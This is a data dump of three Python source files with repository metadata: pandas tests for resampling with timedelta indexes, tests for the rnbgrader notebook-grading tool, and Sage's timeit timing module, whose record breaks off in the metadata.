{"text": "from datetime import timedelta\r\n\r\nimport numpy as np\r\nimport pytest\r\n\r\nimport pandas as pd\r\nfrom pandas import (\r\n    DataFrame,\r\n    Series,\r\n)\r\nimport pandas._testing as tm\r\nfrom pandas.core.indexes.timedeltas import timedelta_range\r\n\r\n\r\ndef test_asfreq_bug():\r\n    df = DataFrame(data=[1, 3], index=[timedelta(), timedelta(minutes=3)])\r\n    result = df.resample(\"1T\").asfreq()\r\n    expected = DataFrame(\r\n        data=[1, np.nan, np.nan, 3],\r\n        index=timedelta_range(\"0 day\", periods=4, freq=\"1T\"),\r\n    )\r\n    tm.assert_frame_equal(result, expected)\r\n\r\n\r\ndef test_resample_with_nat():\r\n    # GH 13223\r\n    index = pd.to_timedelta([\"0s\", pd.NaT, \"2s\"])\r\n    result = DataFrame({\"value\": [2, 3, 5]}, index).resample(\"1s\").mean()\r\n    expected = DataFrame(\r\n        {\"value\": [2.5, np.nan, 5.0]},\r\n        index=timedelta_range(\"0 day\", periods=3, freq=\"1S\"),\r\n    )\r\n    tm.assert_frame_equal(result, expected)\r\n\r\n\r\ndef test_resample_as_freq_with_subperiod():\r\n    # GH 13022\r\n    index = timedelta_range(\"00:00:00\", \"00:10:00\", freq=\"5T\")\r\n    df = DataFrame(data={\"value\": [1, 5, 10]}, index=index)\r\n    result = df.resample(\"2T\").asfreq()\r\n    expected_data = {\"value\": [1, np.nan, np.nan, np.nan, np.nan, 10]}\r\n    expected = DataFrame(\r\n        data=expected_data, index=timedelta_range(\"00:00:00\", \"00:10:00\", freq=\"2T\")\r\n    )\r\n    tm.assert_frame_equal(result, expected)\r\n\r\n\r\ndef test_resample_with_timedeltas():\r\n\r\n    expected = DataFrame({\"A\": np.arange(1480)})\r\n    expected = expected.groupby(expected.index // 30).sum()\r\n    expected.index = timedelta_range(\"0 days\", freq=\"30T\", periods=50)\r\n\r\n    df = DataFrame(\r\n        {\"A\": np.arange(1480)}, index=pd.to_timedelta(np.arange(1480), unit=\"T\")\r\n    )\r\n    result = df.resample(\"30T\").sum()\r\n\r\n    tm.assert_frame_equal(result, expected)\r\n\r\n    s = df[\"A\"]\r\n    result = s.resample(\"30T\").sum()\r\n    tm.assert_series_equal(result, expected[\"A\"])\r\n\r\n\r\ndef test_resample_single_period_timedelta():\r\n\r\n    s = Series(list(range(5)), index=timedelta_range(\"1 day\", freq=\"s\", periods=5))\r\n    result = s.resample(\"2s\").sum()\r\n    expected = Series([1, 5, 4], index=timedelta_range(\"1 day\", freq=\"2s\", periods=3))\r\n    tm.assert_series_equal(result, expected)\r\n\r\n\r\ndef test_resample_timedelta_idempotency():\r\n\r\n    # GH 12072\r\n    index = timedelta_range(\"0\", periods=9, freq=\"10L\")\r\n    series = Series(range(9), index=index)\r\n    result = series.resample(\"10L\").mean()\r\n    expected = series.astype(float)\r\n    tm.assert_series_equal(result, expected)\r\n\r\n\r\ndef test_resample_offset_with_timedeltaindex():\r\n    # GH 10530 & 31809\r\n    rng = timedelta_range(start=\"0s\", periods=25, freq=\"s\")\r\n    ts = Series(np.random.randn(len(rng)), index=rng)\r\n\r\n    with_base = ts.resample(\"2s\", offset=\"5s\").mean()\r\n    without_base = ts.resample(\"2s\").mean()\r\n\r\n    exp_without_base = timedelta_range(start=\"0s\", end=\"25s\", freq=\"2s\")\r\n    exp_with_base = timedelta_range(start=\"5s\", end=\"29s\", freq=\"2s\")\r\n\r\n    tm.assert_index_equal(without_base.index, exp_without_base)\r\n    tm.assert_index_equal(with_base.index, exp_with_base)\r\n\r\n\r\ndef test_resample_categorical_data_with_timedeltaindex():\r\n    # GH #12169\r\n    df = DataFrame({\"Group_obj\": \"A\"}, index=pd.to_timedelta(list(range(20)), unit=\"s\"))\r\n    df[\"Group\"] = df[\"Group_obj\"].astype(\"category\")\r\n    result = df.resample(\"10s\").agg(lambda x: (x.value_counts().index[0]))\r\n    expected = DataFrame(\r\n        {\"Group_obj\": [\"A\", \"A\"], \"Group\": [\"A\", \"A\"]},\r\n        index=pd.TimedeltaIndex([0, 10], unit=\"s\", freq=\"10s\"),\r\n    )\r\n    expected = expected.reindex([\"Group_obj\", \"Group\"], axis=1)\r\n    expected[\"Group\"] = expected[\"Group_obj\"]\r\n    tm.assert_frame_equal(result, expected)\r\n\r\n\r\ndef test_resample_timedelta_values():\r\n    # GH 13119\r\n    # check that timedelta dtype is preserved when NaT values are\r\n    # introduced by the resampling\r\n\r\n    times = timedelta_range(\"1 day\", \"6 day\", freq=\"4D\")\r\n    df = DataFrame({\"time\": times}, index=times)\r\n\r\n    times2 = timedelta_range(\"1 day\", \"6 day\", freq=\"2D\")\r\n    exp = Series(times2, index=times2, name=\"time\")\r\n    exp.iloc[1] = pd.NaT\r\n\r\n    res = df.resample(\"2D\").first()[\"time\"]\r\n    tm.assert_series_equal(res, exp)\r\n    res = df[\"time\"].resample(\"2D\").first()\r\n    tm.assert_series_equal(res, exp)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"start, end, freq, resample_freq\",\r\n    [\r\n        (\"8H\", \"21h59min50s\", \"10S\", \"3H\"),  # GH 30353 example\r\n        (\"3H\", \"22H\", \"1H\", \"5H\"),\r\n        (\"527D\", \"5006D\", \"3D\", \"10D\"),\r\n        (\"1D\", \"10D\", \"1D\", \"2D\"),  # GH 13022 example\r\n        # tests that worked before GH 33498:\r\n        (\"8H\", \"21h59min50s\", \"10S\", \"2H\"),\r\n        (\"0H\", \"21h59min50s\", \"10S\", \"3H\"),\r\n        (\"10D\", \"85D\", \"D\", \"2D\"),\r\n    ],\r\n)\r\ndef test_resample_timedelta_edge_case(start, end, freq, resample_freq):\r\n    # GH 33498\r\n    # check that the timedelta bins does not contains an extra bin\r\n    idx = timedelta_range(start=start, end=end, freq=freq)\r\n    s = Series(np.arange(len(idx)), index=idx)\r\n    result = s.resample(resample_freq).min()\r\n    expected_index = timedelta_range(freq=resample_freq, start=start, end=end)\r\n    tm.assert_index_equal(result.index, expected_index)\r\n    assert result.index.freq == expected_index.freq\r\n    assert not np.isnan(result[-1])\r\n\r\n\r\n@pytest.mark.parametrize(\"duplicates\", [True, False])\r\ndef test_resample_with_timedelta_yields_no_empty_groups(duplicates):\r\n    # GH 10603\r\n    df = DataFrame(\r\n        np.random.normal(size=(10000, 4)),\r\n        index=timedelta_range(start=\"0s\", periods=10000, freq=\"3906250n\"),\r\n    )\r\n    if duplicates:\r\n        # case with non-unique columns\r\n        df.columns = [\"A\", \"B\", \"A\", \"C\"]\r\n\r\n    result = df.loc[\"1s\":, :].resample(\"3s\").apply(lambda x: len(x))\r\n\r\n    expected = DataFrame(\r\n        [[768] * 4] * 12 + [[528] * 4],\r\n        index=timedelta_range(start=\"1s\", periods=13, freq=\"3s\"),\r\n    )\r\n    expected.columns = df.columns\r\n    tm.assert_frame_equal(result, expected)\r\n\r\n\r\ndef test_resample_quantile_timedelta():\r\n    # GH: 29485\r\n    df = DataFrame(\r\n        {\"value\": pd.to_timedelta(np.arange(4), unit=\"s\")},\r\n        index=pd.date_range(\"20200101\", periods=4, tz=\"UTC\"),\r\n    )\r\n    result = df.resample(\"2D\").quantile(0.99)\r\n    expected = DataFrame(\r\n        {\r\n            \"value\": [\r\n                pd.Timedelta(\"0 days 00:00:00.990000\"),\r\n                pd.Timedelta(\"0 days 00:00:02.990000\"),\r\n            ]\r\n        },\r\n        index=pd.date_range(\"20200101\", periods=2, tz=\"UTC\", freq=\"2D\"),\r\n    )\r\n    tm.assert_frame_equal(result, expected)\r\n", "meta": {"hexsha": "13d0a4bd7bf6cb22c3470a6bbbd46f3e142c6d6a", "size": 6563, "ext": "py", "lang": "Python", "max_stars_repo_path": "venv/Lib/site-packages/pandas/tests/resample/test_timedelta.py", "max_stars_repo_name": "arnoyu-hub/COMP0016miemie", "max_stars_repo_head_hexsha": "59af664dcf190eab4f93cefb8471908717415fea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "venv/Lib/site-packages/pandas/tests/resample/test_timedelta.py", "max_issues_repo_name": "arnoyu-hub/COMP0016miemie", "max_issues_repo_head_hexsha": "59af664dcf190eab4f93cefb8471908717415fea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "venv/Lib/site-packages/pandas/tests/resample/test_timedelta.py", "max_forks_repo_name": "arnoyu-hub/COMP0016miemie", "max_forks_repo_head_hexsha": "59af664dcf190eab4f93cefb8471908717415fea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.8298969072, "max_line_length": 89, "alphanum_fraction": 0.6132866067, "include": true, "reason": "import numpy", "num_tokens": 1851, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.13296422817269313, "lm_q1q2_score": 0.06440522404811329}}
{"text": "\"\"\" Test grader module\n\"\"\"\n\nfrom os.path import join as pjoin, dirname\nfrom io import StringIO\nimport re\nfrom hashlib import sha1\nfrom glob import glob\nfrom copy import deepcopy\n\nimport numpy as np\n\nfrom rnbgrader import JupyterKernel\nfrom rnbgrader.grader import (OPTIONAL_PROMPT, MARK_MARKUP_RE, NBRunner,\n                              report, duplicates, Grader, CanvasGrader,\n                              NotebookError, CachedBuiltNotebook)\nfrom rnbgrader.answers import RegexAnswer, ImgAnswer, raw2regex, RawRegexAnswer\n\nimport pytest\n\nfrom gradools.canvastools import CanvasError\n\nDATA = pjoin(dirname(__file__), 'data')\nMB_NB_FN = 'brettmatthew_139741_6519327_some_name.Rmd'\nVR2_NB_FN = 'rodriguezvalia_140801_6518299_notebook.rmd'\n\n\ndef test_optional_prompt():\n    assert re.search(OPTIONAL_PROMPT, '[1] ') is not None\n    assert re.search(OPTIONAL_PROMPT, '[100] ') is not None\n    assert re.search(OPTIONAL_PROMPT, ' [100] ') is not None\n    assert re.search(OPTIONAL_PROMPT + 'here', '[100] here') is not None\n    assert re.search(OPTIONAL_PROMPT + 'here', '[100] here') is not None\n\n\ndef test_report():\n    runner = NBRunner()\n    nb_fileobj0 = StringIO(\"\"\"\nText\n\n```{r}\nfirst_var <- 1\n```\n\nMore text\n\n```{r}\nfirst_var\n```\n\"\"\")\n    nb_fileobj1 = StringIO(\"\"\"\nText\n\n```{r}\n```\n\nMore text\n\n```{r}\nfirst_var <- 2\n```\n\"\"\")\n    with JupyterKernel('ir') as rk:\n        results0 = runner.run(nb_fileobj0, rk)\n        results1 = runner.run(nb_fileobj1, rk)\n    assert (report(results0) ==\n            ' 0: first_var <- 1 - None\\n 1: first_var - [1] 1')\n    assert (report(results1) ==\n            ' 0: (no code) - None\\n 1: first_var <- 2 - None')\n\n\n\ndef test_duplicates():\n    fnames = glob(pjoin(DATA, 'test_submissions', '*.Rmd'))\n    with open(fnames[0], 'rb') as fobj:\n        hash = sha1(fobj.read()).hexdigest()\n    hashes = duplicates(glob(pjoin(DATA, 'test_submissions', '*')))\n    assert list(hashes) == [hash]\n    assert sorted(hashes[hash]) == sorted(fnames)\n\n\ndef test_get_submissions():\n    g = CanvasGrader()\n    pth = pjoin(DATA, 'test_submissions2')\n    fnames = sorted(glob(pjoin(pth, '*')))\n    assert g.get_submissions(pth) == fnames\n\n\ndef test_get_submissions_same_id():\n    g = CanvasGrader()\n    with pytest.raises(CanvasError):\n        g.get_submissions(pjoin(DATA, 'test_submissions'))\n\n\nclass Skip:\n    \"\"\" Flag to indicate we should skip this answer in compiling answers\n    \"\"\"\n    pass\n\n\nclass CarsGrader(CanvasGrader):\n\n    solution_rmds = (pjoin(DATA, 'solution.Rmd'),)\n    standard_box = (44, 81, 800, 770)\n    total = 50\n\n    # Solution chunk positions, used in make_answers.\n    # This allows testing different chunk position specifications.\n    # Here we use simple positions.  Use Skip class to indicate we should\n    # skip this question in the specification.\n    _positions = tuple(range(1, 8))\n\n    def make_answers(self):\n        solution_dir = self.solution_dirs[0]\n        # Positions are class variable to allow for testing different position\n        # specifications.\n        ps = self._positions\n\n        if ps[0] is not Skip:\n            self._chk_answer(RegexAnswer(\n                5,\n                OPTIONAL_PROMPT + r'50  2'),\n                ps[0])\n\n        raw = \"\"\"\n            'data.frame':\t50 obs. of  2 variables:\n            $ speed: num  4 4 7 7 8 9 10 10 10 11 ...\n            $ dist : num  2 10 4 22 16 10 18 26 34 17 ...\"\"\"\n\n        if ps[1] is not Skip:\n            self._chk_answer(RegexAnswer(5, raw2regex(raw)), ps[1])\n\n        raw = \"\"\"\n            speed dist\n            1 4      2\n            2 4     10\n            3 7      4\n            4 7     22\n            5 8     16\n            6 9     10\"\"\"\n        if ps[2] is not Skip:\n            self._chk_answer(RegexAnswer(5, raw2regex(raw)), ps[2])\n\n        if ps[3] is not Skip:\n            self._chk_answer(ImgAnswer(10,\n                pjoin(solution_dir, 'chunk-4_item-0.png'),\n                self.standard_box), ps[3])\n\n        raw = \"\"\"\n            4  7  8  9 10 11 12 13 14 15 16 17 18 19 20 22 23 24 25 \n            2  2  1  1  3  2  4  4  4  3  2  3  4  3  5  1  1  4  1\"\"\"\n        if ps[4] is not Skip:\n            self._chk_answer(RawRegexAnswer(5, raw), ps[4])\n\n        raw = \"\"\"\n        speed dist\n        27    16   32\n        28    16   40\n        29    17   32\n        30    17   40\n        31    17   50\n        32    18   42\"\"\"\n        if ps[5] is not Skip:\n            self._chk_answer(RegexAnswer(10, raw2regex(raw)), ps[5])\n\n        if ps[6] is not Skip:\n            self._chk_img_answer(10, ps[6])\n\n\nCARS_GRADER = CarsGrader()\n\n\ndef test_solutions_with_offsets():\n    soln_fname = pjoin(DATA, 'solution.Rmd')\n    # Basic position specification.\n    assert sum(CARS_GRADER.grade_notebook(soln_fname)) == 50\n\n    class G2(CarsGrader):\n        # Strings for integer positions are OK.\n        _positions = [str(i) for i in range(1, 8)]\n\n    assert sum(G2().grade_notebook(soln_fname)) == 50\n\n    class G3(CarsGrader):\n        # Offsets OK, as long as there is a base.\n        _positions = [1] + ['+1'] * 6\n\n    assert sum(G3().grade_notebook(soln_fname)) == 50\n\n    class G4(CarsGrader):\n        # There must be a base.\n        _positions = ['+1'] * 7\n\n    with pytest.raises(ValueError):\n        G4().grade_notebook(soln_fname)\n\n    class G5(CarsGrader):\n        # Can mix positions and offsets.\n        _positions = [1, '+1', 3, 4, '+1', 6, '+1']\n\n    assert sum(G5().grade_notebook(soln_fname)) == 50\n\n    class G6(CarsGrader):\n        # Can have offsets > 1\n        _positions = [1, Skip, '+2', Skip, 5, Skip, '+2']\n        total = 25\n\n    assert sum(G6().grade_notebook(soln_fname)) == 25\n\n\ndef test_bit_bad():\n    # This one has a couple of wrong answers\n    assert sum(CARS_GRADER.grade_notebook(\n        pjoin(DATA, 'not_solution.Rmd'))) == 35\n\n\ndef test_grade_all_error():\n    with pytest.raises(CanvasError):\n        CARS_GRADER.grade_all_notebooks(pjoin(DATA, 'test_submissions'))\n\n\ndef test_main():\n    args = [\"foo\"]\n    assert CARS_GRADER.main(args) == 1\n\n\ndef test_check_names():\n    args = [\"check-names\", pjoin(DATA, \"test_submissions\")]\n    with pytest.raises(CanvasError):\n        CARS_GRADER.main(args)\n\n\ndef test_error_report():\n    nb = StringIO(\"\"\"\n\nSome text.\n\n```{r}\na <- 1\na\n```\n\nMore text.\n\n```{r}\nb\n```\n\"\"\")\n    runner = NBRunner()\n    with pytest.raises(NotebookError):\n        with JupyterKernel('ir') as rk:\n            runner.run(nb, rk)\n\n\ndef test_mark_markup():\n    assert MARK_MARKUP_RE.match('#M: -2.5').groups() == ('-2.5',)\n    assert MARK_MARKUP_RE.match('#M:-2.5').groups() == ('-2.5',)\n    assert MARK_MARKUP_RE.match('# M : -2.5').groups() == ('-2.5',)\n    assert MARK_MARKUP_RE.search('foo\\n# M : -2.5  \\nbar').groups() == ('-2.5',)\n    assert MARK_MARKUP_RE.search('foo  # M : -2.5  \\nbar') is None\n    assert MARK_MARKUP_RE.match('#M : -2.5  ').groups() == ('-2.5',)\n    assert MARK_MARKUP_RE.match('#M : +2.5  ').groups() == ('+2.5',)\n    assert MARK_MARKUP_RE.match('#M : +22. ').groups() == ('+22.',)\n    assert MARK_MARKUP_RE.match('#M : 11.999 ').groups() == ('11.999',)\n    assert MARK_MARKUP_RE.match('\\t#M : -2.5  ').groups() == ('-2.5',)\n    assert MARK_MARKUP_RE.match('#M: --2.5') is None\n    assert MARK_MARKUP_RE.match('#M: +-2.5') is None\n    assert MARK_MARKUP_RE.match('#M: ++2.5') is None\n    assert MARK_MARKUP_RE.match('#M: 2.5 ish') is None\n\n\ndef test_initial_check():\n    g = CanvasGrader()\n    with pytest.raises(CanvasError):\n        g.initial_check(pjoin(DATA, 'test_submissions'))\n    with pytest.raises(NotebookError):\n        g.initial_check(pjoin(DATA, 'test_submissions_markup'))\n    pth = pjoin(DATA, 'test_submissions2')\n    res = g.initial_check(pth)\n    mb = pjoin(pth, MB_NB_FN)\n    with open(mb, 'rb') as fobj:\n        mb_sha = sha1(fobj.read()).hexdigest()\n    assert res == {mb_sha: [mb, pjoin(pth, VR2_NB_FN)]}\n\n\ndef test_markup_in_nb():\n    bare_nb = StringIO(\"\"\"\n\nSome text.\n\n```{r}\na <- 1\na\n```\n\nMore text.\n\n#M: 10\n\n```{r}\nb <- 2\n```\n\"\"\")\n    assert CARS_GRADER.mark_markups(bare_nb) == ()\n\n    annotated_nb = StringIO(\"\"\"\n\nSome text.\n\n```{r}\na <- 1\na\n# M: 2.0\n```\n\nMore text.\n\n#M: 10\n\n```{r}\n#M : -2.5\nb <- 2\n```\n\"\"\")\n\n    assert CARS_GRADER.mark_markups(annotated_nb) == (2., -2.5)\n\n\ndef test_raise_for_markup():\n    g = Grader()\n    for sdir in ('test_submissions', 'test_submissions2'):\n        pth = pjoin(DATA, sdir)\n        g.raise_for_markup(g.get_submissions(pth))\n\n\ndef test_markup_used():\n    g = CARS_GRADER\n    pth = pjoin(DATA, 'test_submissions_markup')\n    mb = pjoin(pth, MB_NB_FN)\n    vr2 = pjoin(pth, VR2_NB_FN)\n    assert g.mark_markups(mb) == (-2, 42)\n    assert g.mark_markups(vr2) == ()\n    mb_marks = g.grade_notebook(mb)\n    assert list(mb_marks.index) == ['unnamed'] * 7 + ['adjustments', 'markups']\n    assert sum(mb_marks) == 80\n    assert sum(g.grade_notebook(vr2)) == 40\n\n\ndef test_cached_nb_file_like():\n    # Test we can used file-likes for notebook caching\n    nb_text = \"\"\"\nText\n\n```{r}\n#- A question\nfirst_var <- 99\n```\n\nMore text\n\n```{r}\nfirst_var\n```\n\n```{r}\n#- Actual answer\nfirst_var\n```\n\"\"\"\n    nb_fobj = StringIO(nb_text)\n    cbn = CachedBuiltNotebook(nb_fobj, NBRunner())\n    assert len(cbn.solution) == 3\n    assert cbn.solution[-1].chunk.code == '#- Actual answer\\nfirst_var\\n'\n\n\n    class MyG(Grader):\n\n        solution_rmds = (nb_fobj,)\n\n\n    g = MyG()\n    solns = g.solutions\n    assert len(solns) == 1\n    assert len(solns[0]) == 3\n\n\ndef assert_seq_equal(s1, s2):\n    assert tuple(s1) == tuple(s2)\n\n\ndef test_chunk_is_answer():\n    runner = NBRunner()\n    nb_text = \"\"\"\nText\n\n```{r}\n#- A question\nfirst_var <- 99\n```\n\nMore text\n\n```{r}\nfirst_var\n```\n\n```{r}\n#- Actual answer\nfirst_var\n```\n\"\"\"\n    nb_fobj = StringIO(nb_text)\n    with JupyterKernel('ir') as rk:\n        chunks = runner.run(nb_fobj, rk)\n    g = Grader()\n    assert_seq_equal(chunks, g.clear_not_answers(chunks))\n    # Second chunk has results.\n    assert len(chunks[1].results) == 1\n\n    # First check case where not-answer present raises error\n    nb_fobj.seek(0)\n\n    class MyG(Grader):\n\n        solution_rmds = (nb_fobj,)\n        total = 5\n\n        def make_answers(self):\n            self._chk_answer(RegexAnswer(\n                5,\n                OPTIONAL_PROMPT + r'99'),\n                2)\n\n    g = MyG()\n    # Doesn't clear any chunks.\n    assert_seq_equal(chunks, g.clear_not_answers(chunks))\n    assert len(chunks[1].results) == 1\n    # Therefore errors for duplicate outputs\n    with pytest.raises(NotebookError):\n        g.grade_notebook(StringIO(nb_text))\n\n    # Check case with answer removed.\n    class MyG2(MyG):\n\n        solution_rmds = (nb_fobj,)\n\n        def chunk_is_answer(self, chunk):\n            return chunk.chunk.code != 'first_var\\n'\n\n    g2 = MyG2()\n    # Clears output for not-answer chunk.\n    cleared = deepcopy(chunks[1])\n    cleared.results = []\n    assert_seq_equal([chunks[0], cleared, chunks[2]], g2.clear_not_answers(chunks))\n    # Answers now not duplicated.\n    assert np.all(np.array(g2.grade_notebook(StringIO(nb_text))) ==\n                  [5, 0, 0])\n", "meta": {"hexsha": "149e2612371b5295299f5f80c3f7a9f47efb760b", "size": 11035, "ext": "py", "lang": "Python", "max_stars_repo_path": "rnbgrader/tests/test_grader.py", "max_stars_repo_name": "matthew-brett/rnbgrader", "max_stars_repo_head_hexsha": "f07494f59dd0d1cb97c094ac2ea9e9d1243f0f70", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "rnbgrader/tests/test_grader.py", "max_issues_repo_name": "matthew-brett/rnbgrader", "max_issues_repo_head_hexsha": "f07494f59dd0d1cb97c094ac2ea9e9d1243f0f70", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rnbgrader/tests/test_grader.py", "max_forks_repo_name": "matthew-brett/rnbgrader", "max_forks_repo_head_hexsha": "f07494f59dd0d1cb97c094ac2ea9e9d1243f0f70", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.0938864629, "max_line_length": 83, "alphanum_fraction": 0.5984594472, "include": true, "reason": "import numpy", "num_tokens": 3308, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2689414096510109, "lm_q2_score": 0.2393493527485594, "lm_q1q2_score": 0.06437095232725462}}
{"text": "\"\"\"\nAccurate timing information for Sage commands\n\nThis is an implementation of nice timeit functionality, like the\n``%timeit`` magic command in IPython.  To use it, use the ``timeit``\ncommand. This command then calls :func:`sage_timeit`, which you can\nfind below.\n\nEXAMPLES::\n\n    sage: timeit('1+1')    # random output\n    625 loops, best of 3: 314 ns per loop\n\nAUTHOR:\n\n    -- William Stein, based on code by Fernando Perez included in IPython\n\"\"\"\n\n\nclass SageTimeitResult():\n    r\"\"\"\n    Represent the statistics of a timeit() command.\n\n    Prints as a string so that it can be easily returned to a user.\n\n    INPUT:\n\n    - ``stats`` -- tuple of length 5 containing the following information:\n\n        - integer, number of loops\n        - integer, repeat number\n        - Python integer, number of digits to print\n        - number, best timing result\n        - str, time unit\n\n    EXAMPLES::\n\n        sage: from sage.misc.sage_timeit import SageTimeitResult\n        sage: SageTimeitResult( (3, 5, int(8), pi, 'ms') )\n        3 loops, best of 5: 3.1415927 ms per loop\n\n    ::\n\n        sage: units = [\"s\", \"ms\", \"\\xc2\\xb5s\", \"ns\"]\n        sage: scaling = [1, 1e3, 1e6, 1e9]\n        sage: number = 7\n        sage: repeat = 13\n        sage: precision = int(5)\n        sage: best = pi / 10 ^ 9\n        sage: order = 3\n        sage: stats = (number, repeat, precision, best * scaling[order], units[order])\n        sage: SageTimeitResult(stats)\n        7 loops, best of 13: 3.1416 ns per loop\n\n    If the third argument is not a Python integer, a ``TypeError`` is raised::\n\n        sage: SageTimeitResult( (1, 2, 3, 4, 's') )\n        Traceback (most recent call last):\n        ...\n        TypeError: * wants int\n\n    \"\"\"\n    def __init__(self, stats, series=None):\n        r\"\"\"\n        Construction of a timing result.\n\n        See documentation of ``SageTimeitResult`` for more details and\n        examples.\n\n        EXAMPLES::\n\n            sage: from sage.misc.sage_timeit import SageTimeitResult\n            sage: SageTimeitResult( (3, 5, int(8), pi, 'ms') )\n            3 loops, best of 5: 3.1415927 ms per loop\n            sage: s = SageTimeitResult( (3, 5, int(8), pi, 'ms'), [1.0,1.1,0.5])\n            sage: s.series\n            [1.00000000000000, 1.10000000000000, 0.500000000000000]\n        \"\"\"\n        self.stats = stats\n        self.series = series if not None else []\n\n    def __repr__(self):\n        r\"\"\"\n        String representation.\n\n        EXAMPLES::\n\n            sage: from sage.misc.sage_timeit import SageTimeitResult\n            sage: stats = (1, 2, int(3), pi, 'ns')\n            sage: SageTimeitResult(stats)           #indirect doctest\n            1 loops, best of 2: 3.14 ns per loop\n        \"\"\"\n        return \"%d loops, best of %d: %.*g %s per loop\" % self.stats\n\ndef sage_timeit(stmt, globals_dict=None, preparse=None, number=0, repeat=3, precision=3, seconds=False):\n    \"\"\"\n    Accurately measure the wall time required to execute ``stmt``.\n\n    INPUT:\n\n    - ``stmt`` -- a text string.\n\n    - ``globals_dict`` -- a dictionary or ``None`` (default). Evaluate\n      ``stmt`` in the context of the globals dictionary. If not set,\n      the current ``globals()`` dictionary is used.\n\n    - ``preparse`` -- (default: use globals preparser default) if\n      ``True`` preparse ``stmt`` using the Sage preparser.\n\n    - ``number`` -- integer, (optional, default: 0), number of loops.\n\n    - ``repeat`` -- integer, (optional, default: 3), number of\n      repetition.\n\n    - ``precision`` -- integer, (optional, default: 3), precision of\n      output time.\n\n    - ``seconds`` -- boolean (default: ``False``). Whether to just\n      return time in seconds.\n\n    OUTPUT:\n\n    An instance of ``SageTimeitResult`` unless the optional parameter\n    ``seconds=True`` is passed. In that case, the elapsed time in\n    seconds is returned as a floating-point number.\n\n    EXAMPLES::\n\n        sage: from sage.misc.sage_timeit import sage_timeit\n        sage: sage_timeit('3^100000', globals(), preparse=True, number=50)      # random output\n        '50 loops, best of 3: 1.97 ms per loop'\n        sage: sage_timeit('3^100000', globals(), preparse=False, number=50)     # random output\n        '50 loops, best of 3: 67.1 ns per loop'\n        sage: a = 10\n        sage: sage_timeit('a^2', globals(), number=50)                            # random output\n        '50 loops, best of 3: 4.26 us per loop'\n\n    If you only want to see the timing and not have access to additional\n    information, just use the ``timeit`` object::\n\n        sage: timeit('10^2', number=50)\n        50 loops, best of 3: ... per loop\n\n    Using sage_timeit gives you more information though::\n\n        sage: s = sage_timeit('10^2', globals(), repeat=1000)\n        sage: len(s.series)\n        1000\n        sage: mean(s.series)   # random output\n        3.1298141479492283e-07\n        sage: min(s.series)    # random output\n        2.9258728027343752e-07\n        sage: t = stats.TimeSeries(s.series)\n        sage: t.scale(10^6).plot_histogram(bins=20,figsize=[12,6], ymax=2)\n\n\n    The input expression can contain newlines (but doctests cannot, so\n    we use ``os.linesep`` here)::\n\n        sage: from sage.misc.sage_timeit import sage_timeit\n        sage: from os import linesep as CR\n        sage: # sage_timeit(r'a = 2\\\\nb=131\\\\nfactor(a^b-1)')\n        sage: sage_timeit('a = 2' + CR + 'b=131' + CR + 'factor(a^b-1)',\n        ...               globals(), number=10)\n        10 loops, best of 3: ... per loop\n\n    Test to make sure that ``timeit`` behaves well with output::\n\n        sage: timeit(\"print 'Hi'\", number=50)\n        50 loops, best of 3: ... per loop\n\n    If you want a machine-readable output, use the ``seconds=True`` option::\n\n        sage: timeit(\"print 'Hi'\", seconds=True)   # random output\n        1.42555236816e-06\n        sage: t = timeit(\"print 'Hi'\", seconds=True)\n        sage: t     #r random output\n        3.6010742187499999e-07\n\n    TESTS:\n\n    Make sure that garbage collection is re-enabled after an exception\n    occurs in timeit::\n\n        sage: def f(): raise ValueError\n        sage: import gc\n        sage: gc.isenabled()\n        True\n        sage: timeit(\"f()\")\n        Traceback (most recent call last):\n        ...\n        ValueError\n        sage: gc.isenabled()\n        True\n    \"\"\"\n    import time, math\n    import timeit as timeit_\n\n    import preparser, sage.repl.interpreter as interpreter\n\n    number=int(number)\n    repeat=int(repeat)\n    precision=int(precision)\n    if preparse is None:\n        preparse = interpreter._do_preparse\n    if preparse:\n        stmt = preparser.preparse(stmt)\n    if stmt == \"\":\n        return ''\n\n    units = [\"s\", \"ms\", \"\\xc2\\xb5s\", \"ns\"]\n    scaling = [1, 1e3, 1e6, 1e9]\n\n    timer = timeit_.Timer()\n\n    # this code has tight coupling to the inner workings of timeit.Timer,\n    # but is there a better way to achieve that the code stmt has access\n    # to the shell namespace?\n\n    src = timeit_.template % {'stmt': timeit_.reindent(stmt, 8),\n                             'setup': \"pass\"}\n    code = compile(src, \"<magic-timeit>\", \"exec\")\n    ns = {}\n    if not globals_dict:\n        globals_dict = globals()\n    exec code in globals_dict, ns\n    timer.inner = ns[\"inner\"]\n\n\n    try:\n        import sys\n        f = sys.stdout\n        sys.stdout = open('/dev/null', 'w')\n\n        if number == 0:\n            # determine number so that 0.2 <= total time < 2.0\n            number = 1\n            for i in range(1, 5):\n                number *= 5\n                if timer.timeit(number) >= 0.2:\n                    break\n\n        series = [s/number for s in timer.repeat(repeat, number)]\n        best = min(series)\n\n    finally:\n        sys.stdout.close()\n        sys.stdout = f\n        import gc\n        gc.enable()\n\n    if seconds:\n        return best\n\n    if best > 0.0:\n        order = min(-int(math.floor(math.log10(best)) // 3), 3)\n    else:\n        order = 3\n    stats = (number, repeat, precision, best * scaling[order], units[order])\n    return SageTimeitResult(stats,series=series)\n", "meta": {"hexsha": "13dc7c78b50232542879e88ca16acf36ec2b0a6a", "size": 8048, "ext": "py", "lang": "Python", 